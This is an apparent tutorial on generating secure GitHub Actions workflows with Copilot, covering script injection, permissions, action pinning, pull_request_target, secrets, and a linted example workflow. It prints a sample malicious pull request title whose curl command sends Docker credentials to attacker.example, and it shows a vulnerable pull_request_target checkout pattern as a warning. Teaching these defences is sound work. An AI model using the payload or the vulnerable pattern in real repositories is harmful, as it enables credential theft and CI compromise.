GitHub Copilot for GitHub Actions

GitHub Copilot for DevOps & InfrastructureAcademy lesson 50Cluster 4 · Lesson 12 of 13Intermediate → Advanced15 min readVersion-sensitive
Published
Updated
Last technically verified
GitHub Copilot for GitHub ActionsGitHub Copilot for DevOps & Infrastructure12Intermediate → Advanced/github-copilot/devops/github-actions/

GitHub Actions is where the security consequences of a generated file are most concentrated, because a workflow runs with credentials, on infrastructure you do not control, triggered by events other people can cause.

Here is what actionlint 1.7.12 said about a plausible draft workflow:

draft/ci-draft.yml:15:33: "github.event.pull_request.title" is potentially
untrusted. avoid using it directly in inline scripts. instead, pass it through
an environment variable. [expression]

draft/ci-draft.yml:19:9: shellcheck reported issue in this script:
SC2086:info:1:17: Double quote to prevent globbing [shellcheck]

Two findings — and the first one is genuinely excellent. Script injection through untrusted event data is the most dangerous Actions vulnerability there is, and actionlint catches it by default.

What it did not mention, in a file of twenty lines:

  • No permissions: block, so GITHUB_TOKEN gets the repository default
  • docker push myimage:latests — a typo that would publish a garbage tag
  • $DOCKER_USER referenced and never defined
  • A deploy step reachable from pull_request, so a fork could trigger it
  • No concurrency, no timeout-minutes

Script injection, precisely

This is the vulnerability worth understanding in full, because the mechanism is not obvious and the fix is small.

- name: Comment on PR
  run: |
    echo "Building ${{ github.event.pull_request.title }}"

${{ }} is template substitution performed before the shell runs. GitHub takes the expression, evaluates it, and pastes the result into the script text. The shell then receives whatever that produced.

So a pull request titled:

x"; curl -s https://attacker.example/$(cat $HOME/.docker/config.json); echo "

produces a script that runs the attacker’s command. The pull request author needs no access to the repository — opening a PR is enough, and on a public repository that is anyone.

The fix is to pass the value through the environment, where the shell sees a variable rather than text it must parse:

- name: Describe the change
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: |
    printf 'Building: %s\n' "${PR_TITLE:-push to ${GITHUB_REF_NAME}}"

The substitution still happens, but into the environment block, where the value is data. The script references "$PR_TITLE", quoted, and no amount of shell metacharacters in the title changes what runs.

Permissions

GITHUB_TOKEN is minted per job, and what it can do depends on the permissions: block — or, in its absence, on a repository or organisation default that may well be read/write on everything.

permissions:
  contents: read

Two lines at the workflow level, and every job inherits it. A job needing more declares it:

  container:
    permissions:
      contents: read
      packages: write

The reason this matters more with generated workflows than with hand-written ones is that suggestions omit the block entirely — it is not in most examples, because most examples predate it or do not need it. A workflow with no permissions: and a compromised third-party action has handed that action a token that can push to your default branch.

The narrowest form is permissions: {}, which grants nothing. Worth using for jobs that only run tests.

Pinning

- uses: actions/checkout@v7

v7 is a tag, and tags are mutable. Whoever controls that repository can move it to point at different code, and your workflow will run that code with your token on your next push. This is not hypothetical; it is the shape of several real supply-chain incidents.

- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1  # v7.0.1

A commit SHA is immutable. The trailing comment keeps it maintainable — without it, nobody can tell which version is pinned or whether it is current.

Practical project: a workflow that lints clean

Practical example

A CI workflow with least privilege, SHA pins and a gated deploy

A workflow actionlint and yamllint both pass, with the security controls explicit rather than inherited.

Status
Tested implementation
Runtime
actionlint 1.7.12, yamllint 1.38.0, hadolint 2.15.1, pytest 9.1.1
Command
actionlint .github/workflows/ci.yml && yamllint .github/workflows/ && pytest && hadolint Dockerfile
Result
actionlint: no findings, exit 0 (the draft produced 2). yamllint clean. pytest: 5 passed. hadolint: no findings. All four pinned action SHAs verified against the GitHub API as real commits matching their tags.
Run on
August 21, 2026

Files

examples/cluster-4/github-actions

copilot-actions-demo/ ├── src/app.py ├── tests/test_app.py ├── Dockerfile ├── draft/ci-draft.yml the first suggestion └── .github/ ├── copilot-instructions.md ├── instructions/ │ └── actions.instructions.md └── workflows/ └── ci.yml

The prompt

Copilot promptGenerate the workflowCopilot Chat

Create a GitHub Actions CI workflow for this Python project.

Requirements:

  • permissions: contents: read at the workflow level, widened per job only where needed.
  • concurrency with cancel-in-progress true.
  • timeout-minutes on every job.
  • Every third-party action pinned to a full commit SHA with the version in a trailing comment.
  • persist-credentials false on checkout.
  • Pin the runner image, not ubuntu-latest.
  • Any github.event value used in a run block must be passed through env.
  • A deploy job gated on main, on push only, behind a protected environment, using OIDC rather than a stored secret.

Then run actionlint and report every finding.

The workflow header

name: CI

on:
  push:
    branches: [main]
  pull_request:

# Least privilege at the top level. Every job inherits this unless it narrows
# it further. Without this block the token's scopes come from the repository
# default, which on older repositories is read/write on everything.
permissions:
  contents: read

# A second push to the same branch cancels the first. Without this, a busy
# branch queues runs that are already obsolete.
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true

Note on: pull_request rather than pull_request_target. That is deliberate and covered below.

The untrusted-input step, done correctly

- name: Describe the change
  # The pull request title is attacker-controlled: anyone who can open a PR
  # chooses it. Interpolating it into a shell script with ${{ }} is command
  # injection. Passing it through the environment means the shell sees a
  # variable, never a command.
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: |
    printf 'Building: %s\n' "${PR_TITLE:-push to ${GITHUB_REF_NAME}}"

The deploy gate

  deploy:
    needs: [test, container]
    # Only from main, never from a pull request, and never from a fork.
    if: github.ref == 'refs/heads/main' && github.event_name == 'push'
    # A protected environment. Deployment waits for a human to approve it, and
    # the environment holds the credentials rather than the repository.
    environment: production
    concurrency:
      group: deploy-production
      cancel-in-progress: false
    permissions:
      contents: read
      # Requested only in the job that needs it, so no other job's token can
      # mint a cloud credential.
      id-token: write

Five controls in ten lines, and each does a distinct job. needs means the tests passed. The if means it cannot run from a pull request. environment means a human approves and the secrets live there rather than in the repository. concurrency with cancel-in-progress: false means two deploys queue rather than one killing the other mid-flight. And id-token: write is scoped to this job alone.

Observed output

$ actionlint draft/ci-draft.yml
2 findings — script injection via github.event.pull_request.title,
             and a shellcheck SC2086 inside a run block

$ actionlint .github/workflows/ci.yml
(no output, exit 0)

$ yamllint .github/workflows/
(clean)

Validation

actionlint is unusually good for a YAML linter. It type-checks expression syntax, validates event and job keys against the schema, checks that a needs reference exists, runs ShellCheck over run: blocks, and flags untrusted-input interpolation. It is fast, it is a single binary, and there is no reason not to run it on every pull request.

What it does not check is policy: whether the permissions: block is appropriate, whether a third-party action should be trusted, or whether a deploy job is reachable from an untrusted event. Those remain review items.

Where Copilot helps with workflows

Worth naming before the risks pile up further, because the value here is real.

Workflow structure from a description. “Run tests on three Python versions, build a container, and gate deployment on main” produces a correct skeleton quickly. The job graph, the needs relationships and the event configuration are mechanical.

Matrix expansion. Writing out a matrix with include and exclude entries is fiddly and error-prone by hand.

Expression syntax. ${{ }} expressions have their own functions — contains, startsWith, fromJSON, hashFiles — and the precedence and quoting rules are not memorable. This is exactly the profile of a task worth delegating.

Translating a local command sequence into steps. The correspondence is mechanical, which makes the review a matter of checking the correspondence.

Explaining a workflow you inherited. Actions accumulate: a repository’s workflow directory typically contains something nobody currently on the team wrote, with conditions referencing events that no longer fire.

Reading a failed run’s logs. Dense, structured, and precisely the reading task a model does well.

The single thing it will not do unprompted is add the security controls. Every one of them — permissions, pinning, environment gating, OIDC — has to be asked for, which is why they belong in a path-specific instructions file rather than in each prompt.

Matrices, caching and artifacts

Three mechanics that generated workflows produce correctly and configure sub-optimally.

Matrices run the same job across a set of parameters. The default is fail-fast: true, which cancels every remaining combination as soon as one fails — good for fast feedback, bad when you wanted to know whether the failure is specific to one version or affects all of them. Set it deliberately. And max-parallel matters on a busy repository, because a twelve-entry matrix occupies twelve runners.

The trap worth knowing: matrix values are interpolated into the job, so a matrix that includes attacker-controlled data has the same injection problem as anything else. fromJSON on an output derived from event data is the shape to look for.

Caching is where suggestions are most often wrong in a way that costs rather than breaks. actions/cache restores by an exact key and falls back to restore-keys prefixes. A key that does not include a hash of the lock file — hashFiles('**/requirements.txt') — restores a stale cache forever, so the cache appears to work and dependencies never update. Conversely a key that includes too much never hits.

Two further points. The language setup actions have caching built in (cache: pip, cache: npm), which is simpler than actions/cache and is what a suggestion should use for dependencies. And caches are scoped: a branch can restore the default branch’s cache but not the reverse, which is a security boundary as well as a performance one.

Artifacts move data between jobs, since each job runs on a fresh machine. Generated workflows frequently forget that entirely and assume a file written in one job exists in the next. The things to configure: retention-days, because the default retention costs storage; and awareness that artifacts from a fork’s workflow are attacker-controlled data, so a workflow_run job that downloads and executes one has recreated the pull_request_target problem by another route.

For passing a small value rather than a file, job outputs are the mechanism — as the capstone does with the image digest.

Debugging a workflow

Actions debugging is slow because the loop is long: push, wait, read. Three things shorten it.

Read the annotations before the log. Failed steps produce annotations at the top of the run summary, and they usually name the problem. The full log is for when they do not.

Enable step debug logging by setting the ACTIONS_STEP_DEBUG repository secret to true. It produces substantially more detail about expression evaluation and input resolution, which is what you need when a condition is not matching and you cannot see why.

Run it locally where you can. Most of a CI failure is the underlying command failing, not Actions. Running the same command in the same container image locally is faster than another push. act exists for running workflows locally and is an approximation rather than an equivalent — useful for structure, not for anything involving the token or the runner environment.

The prompt shape that works:

Copilot promptDebugging a failed runCopilot Chat

This workflow step failed. Here is the workflow file and the full log for the failing job, including the step’s exit code.

Tell me which of these it is: the command genuinely failed, an expression evaluated to something unexpected, a permission was missing, or an input was not passed between jobs.

Quote the line that supports your answer. Do not rewrite the workflow.

“Do not rewrite the workflow” matters as much here as in the Docker lesson. Asked to fix a workflow error, a model will frequently restructure the whole file, and reviewing sixty lines to fix one is a bad trade — especially in a file where the security controls are easy to lose in a rewrite.

One Actions-specific debugging note: a condition that never matches is usually an expression type problem. if: github.event.pull_request.draft == false behaves differently from if: ${{ !github.event.pull_request.draft }} when the field is absent, and if conditions on strings compare as strings — 'true' and true are not the same. This is where step debug logging earns its keep.

pull_request versus pull_request_target

This distinction causes more Actions compromises than anything else, and generated workflows reach for the dangerous one when asked to “comment on the PR” or “label pull requests”.

pull_request runs in the context of the merge commit, with a read-only token for forks, and no access to secrets from a fork. This is the safe default and it is what CI should use.

pull_request_target runs in the context of the base repository — your default branch — with a writable token and full access to secrets. It exists so that a workflow can label or comment on a fork’s PR, which requires write access the fork context cannot have.

The compromise is the combination:

on: pull_request_target

jobs:
  build:
    steps:
      - uses: actions/checkout@…
        with:
          ref: ${{ github.event.pull_request.head.sha }}   # the fork's code
      - run: npm install && npm test                        # executes it

That checks out an attacker’s code and runs it, in a job that holds a writable token and every secret. npm install alone is sufficient — a lifecycle script in the fork’s package.json executes during install.

Secrets

Four things about secrets that generated workflows get wrong.

Secrets are not available to fork pull requests — deliberately. A workflow that needs one to run on a PR is a workflow that will fail on external contributions, and the fix is to restructure rather than to switch to pull_request_target.

Masking is textual and incomplete. GitHub redacts a secret’s exact value from logs. It does not redact a base64 encoding of it, a substring, or the result of transforming it — so a step that decodes a secret and prints the result has leaked it in plain text.

Never put a secret on a command line. docker login -p ${{ secrets.PASSWORD }} puts it in the process table and in any command trace. --password-stdin is the form to insist on.

Prefer OIDC to a stored secret entirely. For cloud deployment there is no reason to keep a long-lived credential: the workflow requests a token, exchanges it for short-lived cloud credentials, and there is nothing to rotate. The mechanics are in the AWS, Azure and Google Cloud lessons, and in all three the control is the same: a trust condition naming the repository and ref.

Environments hold secrets better than repositories do. A secret on a protected environment is available only to jobs targeting that environment, which are the jobs that passed the approval gate.

Third-party actions

Every uses: is code you did not write, running in your job, with your token.

Beyond pinning, three questions worth asking of any action a suggestion introduces:

Who publishes it, and is it verified? GitHub marks verified creators. An action from an unfamiliar account doing something a two-line run: step could do is not a good trade.

What permissions does it need? An action that only reads should not be in a job with write scopes.

Could a run: step replace it? A large proportion of suggested actions wrap a single CLI invocation. Writing the invocation removes a dependency and makes the step readable.

For anything sensitive, vendoring — copying the action into your repository — is a legitimate option, and organisation-level allowlists let you restrict which actions may be used at all.

Reusable workflows and composite actions

Both are good for removing duplication and both have a review point that generated code misses.

Reusable workflows (workflow_call) run as a separate job and receive only the inputs and secrets you pass. secrets: inherit passes all of them, which is convenient and is exactly the thing to avoid — pass the two the workflow needs by name.

Composite actions run as steps inside your job, which means they share the job’s token and environment. There is no isolation, so a composite action is only as trustworthy as its source.

The permission model matters here: a reusable workflow can declare its own permissions:, but it cannot have more than the calling workflow grants. That is a useful property — the caller’s block is a ceiling.

Actions-specific risks

Script injection. Covered above; the most serious.

Missing permissions:. The token gets whatever the repository default is.

Floating action tags. Mutable pointers controlled by someone else.

pull_request_target with a head checkout. The classic compromise.

Secrets echoed, encoded, or on a command line. Masking is textual.

Self-hosted runners on public repositories. A fork’s pull request can execute code on your runner, and the runner is a persistent machine rather than a fresh VM. Ephemeral runners, or no self-hosted runners on public repositories.

Untrusted artifacts. workflow_run downloading an artifact produced by a fork’s workflow is downloading attacker-controlled data. Treat it as input, not as code.

Caches shared across branches. A cache poisoned from a branch can be restored into a job on the default branch. Scope cache keys carefully.

Missing timeout-minutes. A hung job holds a runner for six hours by default.

Destructive workflows

Review workflow

Accepting a generated workflow
  1. Run actionlintCatches expression errors, shell issues inside run blocks, and untrusted-input interpolation.
  2. Read the triggerHuman judgementpull_request or pull_request_target? Does it check out PR code?
  3. Find the permissions blockHuman judgementIf there isn't one, the token gets the repository default. actionlint will not say so.
  4. Grep for github.event inside run blocksHuman judgementEach one is command injection unless it goes through env.
  5. Check every uses: is SHA-pinnedAnd verify the SHA matches the tag in the comment.
  6. Trace every secretHuman judgementWhere it comes from, where it goes, and whether OIDC would remove it.
  7. Check the deploy gateHuman judgementBranch condition, protected environment, scoped id-token, and concurrency that queues rather than cancels.

Steps marked Human judgement are the ones that do not get delegated — they are where you decide whether what Copilot produced is actually right.

Best practices

  • permissions: contents: read at workflow level, widened per job.
  • SHA-pin every third-party action, with the version in a comment, and let Dependabot maintain them.
  • Never interpolate github.event into a run: block.
  • pull_request unless you can explain why it is insufficient.
  • OIDC instead of stored cloud credentials.
  • timeout-minutes on every job and concurrency on the workflow.
  • Pin the runner image rather than using ubuntu-latest where reproducibility matters.
  • Run actionlint in CI, and a security-focused linter alongside it.

Common mistakes

  • Accepting a workflow with no permissions: block because it works.
  • Using pull_request_target to get write access, then checking out the PR.
  • Pinning to @v4 and calling it pinned.
  • Passing secrets: inherit to a reusable workflow.
  • Assuming secret masking protects a transformed or encoded value.

Where to go next

Build an AI-Powered CI/CD Pipeline is the capstone, and it assembles this workflow with the Docker, Terraform and Kubernetes validation from the rest of the cluster. GitHub Copilot IDE Workflow: From Idea to Pull Request covers the developer side of the same loop.

Sources

Every version-sensitive claim on this page was checked against first-party documentation. Only sources actually used are listed.

Primary sources